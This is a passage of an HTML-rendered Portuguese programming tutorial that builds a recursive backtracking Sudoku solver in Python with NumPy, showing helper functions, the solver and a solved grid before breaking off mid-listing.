    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;value&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;not&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sudoku&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;:]&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;and&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;value&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;not&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sudoku&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[:,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;y&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;and&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;value&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;not&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;quadrant&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sudoku&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;y&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Por fim, para retornar as possibilidades de uma determinada posição, basta testar os números de 1 a 9 na coordenada especificada:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;possibilities&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sudoku&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;y&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;possibilities&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;list&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;value&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;is_valid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sudoku&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;y&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;possibilities&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;append&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;possibilities&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Para testar nosso código, vamos utilizar a posição do centro conforme a figura a seguir. O número inserido não pode estar na linha (em verde), coluna (em vermelho) ou quadrante (em azul). A única possibilidade é o número 5. Para essa posição.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://user-images.githubusercontent.com/8211602/77355656-1e7e8300-6d45-11ea-92c5-672c244d2126.png&quot; alt=&quot;sudoku_one_possibility&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Rodando o nosso algoritmo utilizando &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;print(possibilities(sudoku, 4, 4))&lt;/code&gt;, vemos que de fato 5 é a única possibilidade.&lt;/p&gt;

&lt;h2 id=&quot;preenchendo-as-células&quot;&gt;Preenchendo as células&lt;/h2&gt;

&lt;p&gt;Se você já jogou Sudoku sabe que preencher as células nem sempre é uma tarefa simples, como foi no nosso exemplo acima. Muitas vezes, há mais de uma possibilidade em todas as células e você deve simular se é possível resolver o problema escolhendo uma dessas possibilidades. Vamos primeiro percorrer a matriz e encontrar os lugares vagos (com valor igual a zero):&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;solver&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sudoku&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;solutions&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;y&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;value&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;np&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ndenumerate&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sudoku&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;value&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
	    &lt;span class=&quot;c1&quot;&gt;# resolver a posição
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Como já dizia o poeta, &lt;em&gt;“Só parte para a conversa quem não se garante na porrada.”&lt;/em&gt; Então, vamos usar a força bruta para resolver a posição desejada, tentando todas as possibilidades para a célula.&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;solver&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sudoku&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;solutions&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;y&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;value&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;np&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ndenumerate&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sudoku&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;value&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;possibility&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;possibilities&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sudoku&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;y&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
                &lt;span class=&quot;n&quot;&gt;sudoku&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;y&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;possibility&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Dada o novo sudoku com a célula já preenchida, resolvemos esse novo sudoku. Mas espere! Já sabemos resolver o sudoku, basta utilizar a função &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;solve()&lt;/code&gt; que acabamos de criar. Portanto, chamamos ela novamente:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;solver&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sudoku&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;solutions&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;y&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;value&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;np&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ndenumerate&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sudoku&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;value&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;possibility&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;possibilities&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sudoku&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;y&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
                &lt;span class=&quot;n&quot;&gt;sudoku&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;y&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;possibility&lt;/span&gt;
                &lt;span class=&quot;n&quot;&gt;solver&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sudoku&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;solutions&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Por fim, para caso a posição não for a correta, voltamos o sudoku para a posição original preenchendo-a com zero:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;def solver(sudoku, solutions):
    for (x, y), value in np.ndenumerate(sudoku):
        if value == 0:
            for possibility in possibilities(sudoku, x, y):
                sudoku[x, y] = possibility
                solver(sudoku, solutions)
                sudoku[x, y] = 0
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Isso vai fazer com que todas as posições do sudoku sejam testadas recursivamente. Caso o valor da célula seja zero e não haja nenhuma possibilidade para ela, então o sudoku não pode mais ser resolvido, nesse caso, retornamos sem fazer nada.&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;solver&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sudoku&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;solutions&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;y&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;value&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;np&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ndenumerate&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sudoku&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;value&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;possibility&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;possibilities&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sudoku&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;y&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
                &lt;span class=&quot;n&quot;&gt;sudoku&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;y&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;possibility&lt;/span&gt;
                &lt;span class=&quot;n&quot;&gt;solver&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sudoku&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;solutions&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
                &lt;span class=&quot;n&quot;&gt;sudoku&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;y&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Caso tenhamos passado por todas as células do tabuleiro e nenhuma delas for zero, então o sudoku foi resolvido, nesse caso, adicionamos uma cópia da solução às soluções e continuamos a busca.&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;solver&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sudoku&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;solutions&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;y&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;value&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;np&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ndenumerate&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sudoku&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;value&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;possibility&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;possibilities&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sudoku&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;y&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
                &lt;span class=&quot;n&quot;&gt;sudoku&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;y&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;possibility&lt;/span&gt;
                &lt;span class=&quot;n&quot;&gt;solver&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sudoku&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;solutions&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
                &lt;span class=&quot;n&quot;&gt;sudoku&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;y&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;solutions&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;append&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sudoku&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;copy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;())&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;É isso! Já é possível resolver o sudoku com o algoritmo acima. Para isso, basta passar a nossa tabela que foi criada no início:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;solutions&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;list&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;solver&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sudoku&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;solutions&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;solution&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;solutions&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;solution&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;E o resultado é o sudoku preenchido.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;[[5 3 4 6 7 8 9 1 2]
 [6 7 2 1 9 5 3 4 8]
 [1 9 8 3 4 2 5 6 7]
 [8 5 9 7 6 1 4 2 3]
 [4 2 6 8 5 3 7 9 1]
 [7 1 3 9 2 4 8 5 6]
 [9 6 1 5 3 7 2 8 4]
 [2 8 7 4 1 9 6 3 5]
 [3 4 5 2 8 6 1 7 9]]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h1 id=&quot;código-completo&quot;&gt;Código completo&lt;/h1&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;numpy&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;np&lt;/span&gt;


&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;is_valid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sudoku&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;y&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;value&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;not&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sudoku&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;:]&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;and&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;value&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;not&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sudoku&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[:,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;y&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;and&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;value&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;not&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;quadrant&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sudoku&lt;/span&gt;&lt;span 